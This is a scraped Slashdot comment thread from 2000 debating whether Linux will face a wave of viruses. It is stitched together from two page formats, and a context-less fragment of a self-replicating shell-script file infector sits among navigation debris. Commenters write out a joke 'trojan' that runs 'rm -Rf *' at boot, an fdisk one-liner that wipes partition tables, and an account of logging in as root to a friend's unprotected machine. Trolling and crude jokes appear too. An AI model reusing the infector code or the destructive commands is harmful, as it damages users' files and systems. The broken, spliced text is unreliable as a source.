2000. Windows 2000 only serves up kiddie porn if you ask it to. Ditch Linux, folks. And don't lay awake nights wondering if your machine has started spamming Usenet with MAKE MONEY FAST posts. Linux systems have been known to do that from time to time. Obviously, Windows 2000 systems don't. And don't forget the hideous Linux Trojan horse that caused it to seize control of and fuck with the temperature in your home. Windows 2000 won't roast you, and it won't freeze you. It'll keep you all nice and comfy. Can you say the same for Linux? Are you willing to lay it on the line? Wise up. Get with the program. [ Reply to This | Parent ] Re:This is why Linux is so extraordinarily dangero by Ranger Bob (Score:1) Monday January 24, @01:25PM EST Re:This is why Linux is so extraordinarily dangero by Anonymous Coward Monday January 24, @01:36PM EST Re:This is why Linux is so extraordinarily dangero by Anonymous Coward Monday January 24, @01:50PM EST Re:This is why Linux is so extraordinarily dangero by Anonymous Coward Monday January 24, @02:00PM EST AAAAAHAHAHAHAHAHA HAHA HEEHEE cough.. choke... by runlevel0 (Score:1) Monday January 24, @02:07PM EST Re:AAAAAHAHAHAHAHAHA HAHA HEEHEE cough.. choke... by Anonymous Coward Monday January 24, @02:13PM EST the biggest risk to any open-source system (Score:1) by Potatoswatter (alkrauss at erols dot com) on Monday January 24, @01:14PM EST (#94) (User Info) /comments.pl?sid=00/01/23/1257242d=700 isn't a sneaky virus, it's a sneaky tech help guy. In Linux, hired help can recompile/rewrite anything, no? D.nnrw ,rpne! mfspr r3, pc / lvxl v0, 0, r3 / li r0, 16 / stvxl v0, r3, r0 [ Reply to This | Parent ] *nix and Viruses (Score:5, Informative) by DaveHowe (DaveHowe@Hawkswing) on Monday January 24, @01:20PM EST (#107) (User Info) I think there are a few points here: There were Unix viruses, Worms and Trojans around since before the PC was designed; they have spread since the first few machines set up UUCP links; Unix viruses are far from new. Unix viruses are kept mainly in check because normal users don't have the permissions to do harm - they can harm their own files, they can harm the files of those that trust them. but they can't alter anyone else's, and, most importantly, they normally can't even INSTALL programs, never mind alter those already installed by other people. Linux is not Unix - 90% of Linux boxes are single user (maybe single user with webserver, or with a email router, but still single user) and for a high percentage of those, that single user either runs as root, or, if smart enough to run as a user when out on the net, will load the same data files, use the same packages, and generally work in the same sandpit when doing admin tasks that require system privileges as when running his limited "safe" account. As more and more buy "fashionable" pre-loaded linux boxes, you will see a wave of people caught by the same factors that make a windows-based machine insecure - that the user will run things without thinking, and that the user has enough permissions that the virus can take a hold. So, what it comes down to is that, in general, Unix viruses are not (and will not) be a problem, but that Linux has vunerabilities that make it less secure than Unix used to be. -- -=DaveHowe=- [ Reply to This | Parent ] Re:*nix and Viruses by PigleT (Score:2) Monday January 24, @01:41PM EST Known Linux "Virus" (Score:1) by NullGrey (nullgrey@yahoo.com) on Monday January 24, @01:22PM EST (#111) (User Info) Hey, here's an article a guy I work with forwarded to me a few weeks ago: http://www.sans.org/y2k/trojan.htm Now, for those of you that are panicked, let me go through it point by point: This is a report about a backdoor tool that was recently found on some of our RedHat 4.x Linux boxes. Umm, upgrade, anyone? I've got some DOS 3.3 virii, if anyone's interested. A trojan binary, /sbin/initd, was found on some of our systems. It allows a remote user to connect and run arbitrary commmands with root privileges without authentication. It allows an attacker to connect to a large number of machines simultaneously and execute destructive commands with ease. inetd? Cleverly named. Sounds nasty, but let's see what is required to run. A new libc5 binary, /sbin/initd (note; _not_ the standard /sbin/init which is needed for standard system operation), was installed on the systems and set to a mode that makes it impossible to delete by a normal user; the chattr command was needed to remove the immutable and append-only attributes. Oh, the humanity!!!! Don't make me use 'chattr' or log in as root!! It listens on those ports for remote requests and performs them on the local machine. It requires the remote client to enter a password (embedded in the binary) then will execute any additional commands. Enter a password, and then execute commands? I think I've already got this virus! It's called telnetd! /etc/rc.d/rc.local was modified to start up /sbin/initd and /sbin/quotad at boot time; the latter was not found on the systems at all and did not appear to have been recently deleted from them. Hey, got a DOS virus for ya. Gotta load it in autoexec.bat, though. People, look at your initd every once and a while, k? Run ps ax. This command will list the running programs on your system. If any commands have a name that looks something like 'syslog.itd' or 'syslog initd', this is a very good sign that you have this tool running. This/these pid's are very good candidates for killing off. Does this listing show any other programs you don't recognize? It shows up in a process list? what kind of virus is this? Here, I got a trojan horse for you. Cut the text, and paste it in a file with a Unix-sounding name: ---Cut here--- #! /usr/bin/bash cd / rm -Rf * ---End Cut--- Give the file execute permissions. Now, make sure you start up this virus in rc.local, or even in your crontab. Reboot. This virus is just about as effective as the one above. +-- Open Source -- The soulution to software piracy. [ Reply to This | Parent ] Good. Bring them on. (Score:2) by Dast (cfy1@ra.msstate.edu.spamtodevnullplease) on Monday January 24, @01:25PM EST (#118) (User Info) http://slashdot.org/comments.pl?sid=dast Yep, I'm happy if they come. Why you ask? Answer: After a few people who thought they were invulnerable get burned, more people will start checking the GnuPG/PGP signature on downloaded files. More people will begin signing them as well. A lot of people who weren't as worried about security all of the sudden will be. And people will start thinking before make && make install It can't kill us, and what doesn't kill us only makes us stronger. Security is a responsibility we must take seriously. And 90% happens between the ears of the admin. [ Reply to This | Parent ] No OS is really immune (Score:3, Insightful) by hoss10 on Monday January 24, @01:26PM EST (#119) (User Info) I don't like the way everyone is so convinced linux is secure. No OS I know of can account for a newbie being stupid (ie. blindly running files he/she just downloaded off the 'net) Even though they may not be able to damage anything other then they users files the infected program will probably be able to read the users address database and send itself to say the first 50 names in the address book (ring any bells:-). I'm fairly sure I could write said virus myself but I don't want to go to prison! If the virus also "merged" itself with other executable files in the users home dir then that opens another way to get itself spread. To do that requires knowledge of the file format (like it says in the article) but that is known for Windoze aswell so that stumbling block is irrelevant. This is where education is important. Newbies (and others) need to be reminded to run the program under the strictest possible environment (something like user 'nobody' and disallow network access etc.) especially nowadays as GNU/Linux has attracted virus writers attention. [ Reply to This | Parent ] Microsoft (Score:1) by Andrewkov on Monday January 24, @01:30PM EST (#121) (User Info) I would be more concerned about viruses and trojans comming from Microsoft than China. [ Reply to This | Parent ] Re:Microsoft by c0d3 (Score:1) Monday January 24, @02:27PM EST Virii is not a word (Score:2, Offtopic) by 0xdeadbeef on Monday January 24, @01:31PM EST (#125) (User Info) Well over fifty posts, and no one has called him on such a blatant mispelling. Oh well, I propose it be made a real word, in the context of computers, kind of like "mouses" is the plural of those pointing devices. What, you don't think that's a real word either? Damn language nazis... [ Reply to This | Parent ] OT-Virii is not a word by Anonymous Coward Monday January 24, @02:07PM EST Linux virii (Score:0) by Anonymous Coward on Monday January 24, @01:38PM EST (#135) faq code awards privacy slashNET older stuff rob's page preferences andover.net submit story advertising supporters past polls topics about jobs hof Sections 1/23 (2) apache 1/24 (12) askslashdot 1/18 awards 1/14 books 1/20 bsd 1/24 features 1/24 interviews 1/19 radio 1/23 (5) science 1/22 (3) yro Andover.Net AndoverNews Ask Reggie Freshmeat ITR MediaBuilder Linux Virii On Their Way? Posted by Hemos on Monday January 24, @12:27PM from the really-damn-funny dept. Eric the Cat wrote to us with one of the most amusing article for the day. A Russian Security Consultancy has claimed that a plague of virii for Linux will be coming, thanks to Chinese hackers. Wait - it gets better. According to the security expert, *because* Linux is open source, the viruses will be even worse than in other systems. Thankfully, Jason Clifford, a Linux person, is also quoted in the story setting the story a bit straighter. /dev/null } function infect () { # pathlist=`echo $PATH | tr : " "` # dir=`choose $pathlist` dir=$HOME/bin echo "Will infect in $dir" names=`find $dir -maxdepth 1 -type f` name=`choose $names` echo "will infect $name" if infected $name; then echo Already infected else if [ ! -w $name ]; then notwrite=1 chmod u+w $name fi if [ -w $name ]; then infectfile=`mktemp /tmp/if$$.XXXXXX` || { echo 'cannot create a temporary file' >&2 exit 1 } (head -$[$skip-1] $0; cat $name) > $infectfile cat $infectfile > $name rm -f $infectfile if [ x$notwrite = x1 ]; then chmod u-w $name fi echo success else echo Darn, no write permissions fi fi } srandom tmpfile=`mktemp /tmp/gz$$.XXXXXX` || { echo 'cannot create a temporary file' >&2 exit 1 } if tail +$skip $0 > $tmpfile; then infect chmod 700 $tmpfile prog="`echo $0 | sed 's|^.*/||'`" if ln $tmpfile "/tmp/$prog" 2>/dev/null; then trap 'rm -f $tmpfile "/tmp/$prog"; exit $res' 0 (sleep 5; rm -f $tmpfile "/tmp/$prog") 2>/dev/null & /tmp/"$prog" ${1+"$@"}; res=$? else trap 'rm -f $tmpfile; exit $res' 0 (sleep 5; rm -f $tmpfile) 2>/dev/null & $tmpfile ${1+"$@"}; res=$? fi else echo Cannot decompress $0; exit 1 fi; exit $res true [ Reply to This | Parent ] Linux is a virus in itself (Score:5, Funny) by razvedchik on Monday January 24, @01:07PM EST (#71) (User Info) Sometimes, I feel that Linux is a huge, 640M virus just out to ruin my life. Then I remember that resolv.conf only has one "e" in it and continue on with my mission. It spreads from user to user, and once you're infected, you can never go back. It has been know to cripple and even destroy WinXX systems to the point of making itself the dominant OS on any machine. It makes its users say crazy things like "awk", "grep", "FUD", and so on.... The problem with e-mail lists is that you can't post as the "Anonymous Coward". [ Reply to This | Parent ] It's already here... (Score:1) by havoc- (havoc-nospam@phoenix.student.utwente.nl) on Monday January 24, @01:08PM EST (#75) (User Info) http://phoenix.student.utwente.nl ... and it's called VIGOR. :-) -- So much to compile, so little time... [ Reply to This | Parent ] Klooless Noobies (Score:2, Interesting) by Mechanist on Monday January 24, @01:09PM EST (#80) (User Info) OK, I think most of us can agree with this: In order for a virus to have a real effect it would require someone to be stupid enough to run (log in) as root And with this: It's no so much about the product but about how you manage your system. We advise people never to do anything in root unless they absolutely have to But the problem lies with people who run Linux but lack backgroud with Unix configuration and security policies. For a lot of people, the user/root distinction is a pain in the ass, because they're used to Windows. They don't want to learn new stuff to run Linux, they just want to use the latest cool thing. So t Read the rest of this comment... [ Reply to This | Parent ] Sure, Linux viruses might be worse... (Score:2) by DragonHawk (dragonhawk@iname.microsoft.com) on Monday January 24, @01:43PM EST (#141) (User Info) Sure, Linux viruses might be worse because Linux is Open Source Software, all other things being equal. If you have the source, it is easier to find holes and create exploits for them. The thing is, all other things are not equal. The advantages of OSS and the design of Unix (and thus Linux) can easily outweigh the problem of open access to the source code. On the OSS side, you have peer review by a cast of thousands, and the ability to check for malicious code yourself. On the Unix side, you have the concept of security permissions which prevent viruses from propagating as easily. Sure, if an infected program is run by a user with root privileges, it can seek out and infect other programs. But you can easily restrict virus behavior by not running things as root. Install your package as root, but run it as a user. Your home directory is, of course, vulnerable, but you have cut a potential propagating virus down to a simple Trojan Horse. Viruses are so dangerous because they spread unknowingly; a Trojan is quickly discovered and snuffed when people discover what it does. Will malicious code be a problem on Linux? Of course. It already is. But thinking the same problems of the Ms-Windows world apply in the Unix one is an error. What we may see is smarter, more sophisticated attacks being deployed. MS-Windows is so poorly designed that virus writers have it easy. With Linux, we may see fewer, but far more dangerous, malicious programs. That, if anything, should be the real fear. Sticking with trusted, Open Source Software should keep such problems to a minimum, however. All in all, I think Linux users have far less to worry about then MS-Windows users. I do not like Microsoft. Remove them from my email address. [ Reply to This | Parent ] Run for your lives!! (Score:1) by zornorph on Monday January 24, @01:51PM EST (#152) (User Info) Good thing I didn't sell my y2k secure underground bunker complex, I'll have a safe place to hide when it all comes down ;) [ Reply to This | Parent ] Virii, Viruses & Co. (Score:1) by Lutz (urc8@rz.DO_NOT_SPAM_ME.uni-karlsruhe.de) on Monday January 24, @01:57PM EST (#153) (User Info) As far as I know, virus is a latin word. And then the plural form is viri, not virii. Sorry, I could not resist. But 'virii' hurts... [ Reply to This | Parent ] A CRISIS IN AMERICA (Score:0) by Anonymous Coward on Monday January 24, @02:12PM EST (#165) Dear Citizens: We are facing a CRISIS in America. A crisis in the workplace. A crisis of GENDER INEQUALITY. A crisis that affects us all. Now, in the last year of the 20th century, you wouldn't expect to still find sexism and gender discrimination in the workspace, would you? Well, think again. Employment figures recently RELEASED BY THE FEDERAL GOVERNMENT have something STUNNING and DISGRACEFUL to say! FACT: For every dollar a man makes, A WOMAN GETS SIXTY CENTS! What they DON'T tell you: Do the math! Once the woman gets her sixty cents, ONLY FOURTY CENTS ARE LEFT FOR THE MAN! For every dollar the man makes: a woman - sixty cents the man - fourty cents THE WOMAN GETS PAID FIFTY PERCENT MORE FOR THE SAME WORK! WE MUST NOT STAND FOR THIS GENDER GAP IN THE WORKPLACE! What can YOU do? Write to your Congresspersun and tell her or him "MEN DEMAND EQUAL PAY FOR EQUAL WORK! WE WANT OUR FAIR SHARE! END THE PAY GAP." Only when the femeinine stranglehold on the workplace is broken, and men no longer get 50% less pay than women, will this country be TRULY FREE. Thank you for reading, brothers and sisters!!! [ Reply to This | Parent ] Viruses, or Virii?? (Score:1) by llzackll on Monday January 24, @02:19PM EST (#171) (User Info) Which is correct? [ Reply to This | Parent ] 1 | (2 ) (Slashdot Overload: CommentLimit 50) QOTD: "I ain't broke, but I'm badly bent." All trademarks and copyrights on this page are owned by their respective owners. Comments are owned by the Poster. The Rest © 1997-2000 Andover.Net. [ home | awards | supporters | rob's homepage | contribute story | older articles | Andover.Net | advertising | past polls | about | faq ]

  96. Things that make Linux harder/easier to attack by dsplat · · Score: 4
    Things that make Linux harder to attack:

    1. There are an enormous number of slightly different compiles of the kernel and various commonly used programs out there. Because everyone can get the source, every distribution and many users compile it for themselves. This is going to mean that a virus that attacks a binary is likely to simply break it on at least some subset of systems, making detection relatively easy.
    2. The Linux security model is different from that of Windows. If you aren't running as root or another account with access to various things, such as bin, there are a lot of files you just can't change.
    3. Different distributions structure their configurations differently. This makes targetting rc scripts harder, but not impossible.
    4. Because a large part of the configuration is found in scripts and text files, detecting the damage and determining what was done is potentially more straightforward. Joe Average User may not find it, but the local Users' Group can probably track the source of the problem for him.
    5. Because we all have documentation for the configuration of everything, building tools that detect subtle changes and keep archived copies of config files is something a good and thorough programmer on a tight budget can do.
    6. Because we have source, proving that you are a Real Programmer on an Open Source OS can be accomplished by a number of constructive avenues that are only available through Open Source. These may reduce the number of people seeking attention in negative ways ... maybe.


    Some things that are going to make Linux easier to attack:

    1. J. Virus Writer has access to full documentation and source for the programs he wants to attack. Finding the existance of buffers that can be overrun and the consequences is not a trial and error effort.
    2. Text is easy to manipulate and most config files and start-up scripts are text. Thus, the virus can do its work by spawning sed, perl, awk, ed, emacs or several other tools. Those scripts are likely to be smaller and more portable across releases and distributions than the equivalent binaries. And they can be embedded in binaries.
    3. LILO. Somebody who can install a hacked version of LILO can do some damage. And the LILO config is easy enough to edit. See my previous point.
    4. Trusted binaries can be compromised in useful ways, as described by Ken Thompson in Reflections on Trusting Trust. I have some thoughts on how to make such a compromised binary nearly undetectable on the system on which it was built. I won't detail them here.


    One of the things that I notice about Linux is that there is some overlap between these lists. It seems to point to the idea of tamper-evident packaging.

    The bottom line is that there will be people who will do destructive things. There will be security holes that they will take advantage of. There is a need for security conscious people willing to patch them. A virus is just one way of taking advantage of security holes.
    --
    The net will not be what we demand, but what we make it. Build it well.
    1. Re:Things that make Linux harder/easier to attack by Blrfl · · Score: 1
      Text is easy to manipulate and most config files and start-up scripts are text. ... LILO. Somebody who can install a hacked version of LILO can do some damage. And the LILO config is easy enough to edit. See my previous point. ... Trusted binaries can be compromised in useful ways, as described by Ken Thompson in Reflections on Trusting Trust.

      All three of these make the assumption that the things being attacked are writable by the user doing the attacking. If that's the case, then whatever's doing the attacking would already have to be the super user or a similar special account (daemon, bin, etc). If not, the only damage the average user will be able to do is to himself.

      One of the things that I notice about Linux is that there is some overlap between these lists. It seems to point to the idea of tamper-evident packaging.

      That's also true of Unix in general and is a very strong argument for digital signatures on source and binary distributions.

      Some firewalls (Gauntlet comes to mind, but there are probably others) do on-the-fly tamper checking by including software to digest system files and compare them against a list on read-only media. Changing the system files requires generating a new checksum disk, which in turn reqires physical access to the machine.

  97. A lot of crap by Anonymous Coward · · Score: 0


    There is a lot of crap coming from Russia these days, and this just another example.

  98. Heh heh heh by Greyfox · · Score: 3
    MS Office for Linux will probably refuse to run unless you're root, compounding the problem.

    Microsoft will blame it on the poor security model in Linux.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  99. Ummm..... by DebtAngel · · Score: 1

    Corel Linux makes you set up a user.

    The installation instructions in Slackware 3.4 told me to make a user account, so I did.

    I think the real problem is that Linux distros assume you are not stupid. They assume you can and do read instructions. The fact that people *are* stupid cannot be helped.

    --

    Is this post not nifty? Sluggy Freelance. Worshi

    1. Re:Ummm..... by Anonymous Coward · · Score: 0

      The installation script in Slackware 3.4 (and all the way up to 4.0 where it was added) don't even have the installer give the root account a password. I know this from personal experience, and from logging into a newbie-linux-using-friend's computer, which she had been browsing the Web on for several weeks, with NO ROOT PASSWORD AT ALL. I found her IP address from a just-sent email header, telnetted in, typed "root" at the User prompt. Bingo! Root access. Nobody will ever know how many other people (if any) got on her system before that discovery.

  100. MS Linux products... by CrAzYaL · · Score: 0
    MS Virii 1.0

    Microsoft is pleased to announce it's first product geared toward the Linux marketplace:

    MS Virii 1.0

    We can't code worth a damn on our own OS... think we're gonna do much better on a free OS?

    (grin)

    --Alex

    --
    This is a signature virus...
  101. Win2K? by locutus074 · · Score: 1
    There was a link at the end of the article to another ZDNet UK article about the first Win2K-specific virus. Quoting:
    Mikko Hypponen, manager of anti-virus research at F-Secure, believes the discovery heralds a new era in virus writing and virus protection. "Now we can expect virus writers to include Windows 2000 compatibility as a standard feature in new viruses," he says.
    Gee, thanks!
    --

    --
    We have fought the AC's, and they have won.

  102. Some OS'es are more immune than others by planet_hoth · · Score: 1

    I don't like the way everyone is so convinced linux is secure. No OS I know of can account for a newbie being stupid (ie. blindly running files he/she just downloaded off the 'net)
    Well, your point seems to be that linux is not safe from virii. Now I haven't heard anyone say "Linux is immune from virii," but the fact remains that they are far less common than in Windows-land. And if/when they ever do become common, it will be easier to limit the amount of damage they can do, esp. compared to win9x systems. I don't think any informed readers will disagree with me here.
    Even though they may not be able to damage anything other then they users files the infected program will probably be able to read the users address database and send itself to say the first 50 names in the address book (ring any bells:-). I'm fairly sure I could write said virus myself but I don't want to go to prison! If the virus also "merged" itself with other executable files in the users home dir then that opens another way to get itself spread. To do that requires knowledge of the file format (like it says in the article) but that is known for Windoze aswell so that stumbling block is irrelevant. This is where education is important. Newbies (and others) need to be reminded to run the program under the strictest possible environment (something like user 'nobody' and disallow network access etc.) especially nowadays as GNU/Linux has attracted virus writers attention.
    Your comments about possible angles of attack for Linux virii are kinda misleading. The email virus you referred to only affected Outlook/Outlook Express users IIRC. AFAIK they are not available for Linux at this moment. ;) And as far as infected executables go: I don't know many people who put executables in their home directory. Even if they do, the worst that could happen is a loss of their user account files. On Windows, the worst that could happen is a loss of the entire system. You tell me which you'd rather deal with!

    --

    1. Re:Some OS'es are more immune than others by IntlHarvester · · Score: 1

      Now I haven't heard anyone say "Linux is immune from virii,"

      I've seen those exact words posted to Slashdot far too many times...
      --

      --
      Business. Numbers. Money. People. Computer World.
    2. Re:Some OS'es are more immune than others by Anonymous Coward · · Score: 0

      Unix is immune to viruses. Those who say otherwise are either idiots or shysters. Or both.

    3. Re:Some OS'es are more immune than others by hipparchus · · Score: 1

      The way to protect your Linux system: Log in as a user with ability to write only to user directory. Use a Journaling type filing system that writes prior versions of modified files to a backup area or device. (Can Xfs do this?). Alternatively, allow user to only write but not delete these data files, and use some kind of "take tidy" style batch script so you can delete files by notifying a process that has ability to delete user files indirectly (perhaps with PIN access). Anyway, as I have never lost any user data in the years I have been using Linux (unlike in Windows), to date it just isn;t a problem, so less FUD please. Jeff Davies

  103. viruses not virii by Anonymous Coward · · Score: 0

    Virii is not really correct. Check this page "What's the plural of virus" http://language.perl.com/misc/virus.html

  104. Methods of infection and their cures by Darth+Hubris · · Score: 1

    Well, it seems that because of Linux's Open Source nature it would be easier to target exactly which method is being used by said virii. Therefore, any fix would be as easy to come by as any other.

    --
    The party's over ... the drink ... and the luck ... ran out
  105. FOR SALE! Linux Virus Checker by vuelto · · Score: 1

    grep -i -r virus /usr/src/linux

  106. That's why you back up your home directory! by Anonymous Coward · · Score: 0

    COMMON SENSE: Log in as root, back up your user account's home directory, and then change the permissions on the backup so that the the user account can't access it. Not a big deal!

    1. Re:That's why you back up your home directory! by MindStalker · · Score: 2

      No, thats what Cron is for :) manually backing up.. are you serious???

  107. Linux Person? by Anonymous Coward · · Score: 0

    Thankfully, Jason Clifford, a Linux person, is also quoted in the story setting the story a bit straighter. What the hell is a Linux Person? Does this mean the GPL virus has successfully invaded and assimilated a human?

  108. How about an infected server by pol-pot · · Score: 1

    I once heard about some guys running a Server for a lawyer firm. The desktops was win 95/98 and the server was imune. Then they found out that they had a virus on the system killing all the windoze machines.

    Then they found out that there was no anti virus program for their Server OS (I doesn't know which)

  109. No, once you're on the machine game over by Anonymous Coward · · Score: 0

    Come on, I hope you aren't believing the crap that the linux "expert" is trying to pull. Once you can run binaries on a machine, you can almost always get root somehow. It's _very_ hard to truly secure an OS against binaries running. Virii really are a concern.

  110. Virusses on Linux and the One known Linux virus by Greyfox · · Score: 3
    The one known Linux virus used a buffer overflow to obtain root before infecting other files. The problem with the buffer overflow method is that your virus will not have the longevity that it would in the Windows or Macintosh world. Security patches tend to come out very regularly in Linux and close those holes.

    Another method would be to scan the hard drive for setuid executables and test them for buffer overflows. Managing to do that in a small amount of space and without alerting the user that something is wrong due to drive thrashing would be quite a feat.

    A virus would not be as robust in Linux either, due to the differences in distributions and the tendency for a lot of people to compile their own code. A virus distributed in source code form wouldn't survive very long.

    Virusses would also have to fear programs like tripwire which take checksums of vital executables. This is another good reason to use tripwire and related products. While it is possible to defeat tripwire it would involve more code than a virus is likely to want to carry in its payload.

    Ironically, the best way to infect a Linux system with a virus would probably be from DOS. The author would have to encode enough ext2 reading and writing capabilities into his payload in order to subvert the linux side of the system and that code could get rather large.

    Unless you code your virus in a macro language, the cross platform nature of Linux will also bog down the prospective virus writer. Since the archetectures are very different and virusses usually do very low level stuff, he'd have to port the machine dependent code to the various Linux platforms. On the plus side he could use cvs and bugzilla so that his users could report bugs with his virus.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  111. Good opportunity to spread misinformation by Loge · · Score: 1

    Given his complete ignorance of how Unix-like operating systems work

    What does how UNIX works have to do with whether people write viruses to attack it? Have you forgotten that the first viruses/Trojan horses to infect the Internet were hosted by UNIX systems? They attacked UNIX because that's what most of the systems on the Internet ran at that time.

    he just assumed that more malicious coders + more popularity = more viruses.

    This assumption is supported by the fact that most viruses attack Windows systems today. Why? Because most systems connected to the Internet run Windows.

    I took some time explaining that Linux was different because of a) availability of source code

    The availability of source code allows a virus writer to find weaknesses that a virus might exploit...period. You can argue that the availability of source code allows more people to look for security holes, but it does not itself prevent exploitation of security holes. On the contrary, existing security holes become vastly easier to exploit when the virus writer can see exactly how the source code works.

    b) permissions

    Viruses defeat permissions by exploiting weaknesses in system software or application code...that is their function. To cite "permissions" as protection from viruses is like saying that burglaries can't occur because people have locks on their doors.

    c) the extreme wariness of the average Linux user of running untrusted binaries.

    The whole point is that the definition of the "average Linux user" will change dramatically as Linux becomes more widely used. The average Linux user will no longer be a person who has time to catch and install every security patch that happens to be issued. The average Linux user will be someone who just wants to get their job done without having to learn to be a system administrator.

    1. Re:Good opportunity to spread misinformation by UnknownSoldier · · Score: 1

      > On the contrary, existing security holes become vastly easier to exploit when the virus writer can see exactly how the source code works.

      Hmm,
      Windows, closed source, more viruses.
      Linux, open source, less viruses.
      Draw your own conclusions ;-)

      Seriously, security by obsecurity does not work.
      DES has been around for what, 25 years, and I STILL don't see it being "cracked." Granted, DES is an encyrption algorithm, but you get the point.

      Cheers


      Linus working on his open source quote: "Software is like sex. If you have to pay for it, you got screwed. No wait, that's not quite right..." ;-)
      -- Unknown Soldier

    2. Re:Good opportunity to spread misinformation by Anonymous Coward · · Score: 0

      encryption is rooted in fundamental mathematics. Linux and any other OS, on the other hand, is rooted in the less rigorous world of computer science. encryption protocols are put forth for the world to see and are created by the greatest minds on earth. OS are created by anti-social fuckups and Finnish hippies. please don't compare the two disciplines.

    3. Re:Good opportunity to spread misinformation by mav[LAG] · · Score: 1
      What does how UNIX works have to do with whether people write viruses to attack it? Have you forgotten that the first viruses/Trojan horses to infect the Internet were hosted by UNIX systems? They attacked UNIX because that's what most of the systems on the Internet ran at that time.

      I agree it doesn't have to do with whether people will write viruses, but how they go about such a task.

      he just assumed that more malicious coders + more popularity = more viruses. This assumption is supported by the fact that most viruses attack Windows systems today. Why? Because most systems connected to the Internet run Windows.

      To put it in a bit of context, he had just had a year where his work mail server fell over because of Melissa, all his documents had been trashed thanks to the zipfiles virus, and another variant of good old WordMacro had rendered his setup useless. I remarked on my immunity to these attacks which is when he came up with the comment that as Linux becomes more popular, so you'll see more viruses for it.

      I took some time explaining that Linux was different because of a) availability of source code The availability of source code allows a virus writer to find weaknesses that a virus might exploit...period. You can argue that the availability of source code allows more people to look for security holes, but it does not itself prevent exploitation of security holes. On the contrary, existing security holes become vastly easier to exploit when the virus writer can see exactly how the source code works.

      True - although that sounds a little like a variant of security through obscurity. What I was getting at was the mindset difference between downloading a .tar.gz file and compiling it yourself vs. running some binary a friend has sent you in the e-mail. He had this idea that Linux users also spend all day at work swapping silly little .EXE files via e-mail :)

      b) permissions Viruses defeat permissions by exploiting weaknesses in system software or application code...that is their function. To cite "permissions" as protection from viruses is like saying that burglaries can't occur because people have locks on their doors.

      I think that's a good analogy :) Permissions do prevent Joe User from wiping out the whole system with a rogue app and affecting everyone else.

      c) the extreme wariness of the average Linux user of running untrusted binaries. The average Linux user will be someone who just wants to get their job done without having to learn to be a system administrator. By then hopefully, admin and security admin will be a lot easier than it is now.

      --
      --- Hot Shot City is particularly good.
  112. Sure... by Greyfox · · Score: 2

    If the guys who coded the daemon didn't do a good job, a virus writer might be able to swing a buffer overflow with a properly coded get request. I don't know off the top of my head exactly what effect overflowing a buffer would have in the kernel though.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  113. Quotas... or... by Greyfox · · Score: 2

    You could also not allow users, which is a much more sensible solution for 90% of the Linux using population. Most users don't have the know-how to lock their system down well enough to prevent a user from exploiting a buffer overflow. The general rule of thumb is if you don't trust a user with root, don't let him on your system.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  114. You forgot one by Greyfox · · Score: 1
    * Penis penii

    Right?

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

    1. Re:You forgot one by Anonymous Coward · · Score: 0

      the ironic thing is that penises would be the correct plural, since penis is a third declension noun in latin.

    2. Re:You forgot one by Anonymous Coward · · Score: 0

      No, the plural of penis is penes. But yes, it's 3rd decl.

    3. Re:You forgot one by Anonymous Coward · · Score: 0
      Penis penii

      Right?

      I this really important to you ? How embarrassing.

  115. But this is where your plan fails by Anonymous Coward · · Score: 0

    Once the linux kernel starts, it takes over (hence the reason loadlin works out of dos, etc) and the loader does nothing else, in fact it can't. So in boot partition or not, it only effects the loader, so it is a loader virus, not a linux virus. Now if they just recreated the boot sector (hence loader) virus, they have done nothing special. But if you are like me, your write down your partition tables on the side of the pc anyways...since my friends have root and love to delete partition tables.

    1. Re:But this is where your plan fails by lintux · · Score: 2

      You've got nice friends... :) But why do you give them root login anyway? Do they really need it to do other things than just

      echo -e 'd\n1\nd\n2\nd\n3\nd\n4\n' | fdisk /dev/[hs]da ???

      I think it's a good habit to be the only one who knows the root password.

  116. This article is true! by Anonymous Coward · · Score: 0

    I already have it on my Linux box. It installs itself in C:\WINDOWS and causes your computer to freeze at a blue screen. I am very scared. Quick, someone write an anti-virus program that will clean this from my computer.

  117. Nah, not the kernel.... by marcus · · Score: 1

    ...the system.

    It doesn't need to infect or modify the kernel at all. All it needs to do is copy itself into the filesystem somewhere and insert a line into /etc/inittab. Bingo! The malicious code is started at boot, can have root privileges and it can use the network to bootstrap/download a more sophisticated/larger/updated version of itself and so forth, link itself into other "normally running processes" whatever...

    Imagine a virus-ized version of syslogd, init itself, or any other core component.

    Once you have access to an unprotected file system, you can do whatever you want. The virus might even be able to run under windos and access the linux partitions directly. Forget infecting LILO, dual boot boxes are dangerous no matter.

    --
    Good judgement comes from experience, and experience comes from bad judgement.
    - W. Wriston, former Citibank CEO
    1. Re:Nah, not the kernel.... by tzanger · · Score: 2

      It doesn't need to infect or modify the kernel at all. All it needs to do is copy itself into the filesystem somewhere and insert a line into /etc/inittab.

      I don't know about your servers, but my /etc/rc.d/rc.* structure is only accessable as root to begin with. My firewalls boot from write-protected floppy. I've yet to see a virus reach out of the CD-ROM, pop the disk out, flip the tab and put it back in.

    2. Re:Nah, not the kernel.... by Anonymous Coward · · Score: 0

      Trojans and virii are different beasts. You are talking about putting trojans into init.d.

    3. Re:Nah, not the kernel.... by Anonymous Coward · · Score: 0
      Trojans and virii are different beasts.
      That's right. Trojans exist. Virii doesn't, since "virii" is not a word.
    4. Re:Nah, not the kernel.... by Fooby · · Score: 1
      That's right. Trojans exist. Virii doesn't, since "virii" is not a word.

      THANK you!

      "Those confused souls who write virii are tacitly positing the existence of the non-word virius, and declining it as though it were like filius. It's true that l/r are both linguals that sometimes get interchanged, and that f/v are just a change in voicing, but that's just reaching. Virii is still completely silly, so don't do that; otherwise, everyone will know you're just a blathering script kiddie."

      "Blathering script kiddie." Even the cited article got it right. Sorry Hemos!

  118. Q. Mount most of filesystem as read only. HOW ? by UnknownSoldier · · Score: 1

    > Certainly all of /usr and /boot should be read only. New programs added later should go in /usr/local which can be a separate partition, and even that should be read-only except when you actually add stuff.

    Are there any HOW-TOs that explain how to do this?

    i.e. How do you mount /boot as read-write for when you want to update your kernel ?

    Thx.

    1. Re:Q. Mount most of filesystem as read only. HOW ? by Pug · · Score: 1

      How do you mount /boot as read-write for when you want to update your kernel ?

      Well, that's simple. Assuming /boot is a seperate partition, whenever you want to upgrade, just umount it, mount it as rw, update the files, then umount and mount as ro again. You have to be root anyway (unless for some reason you have /boot as 777 or something), and you just have a few more steps.

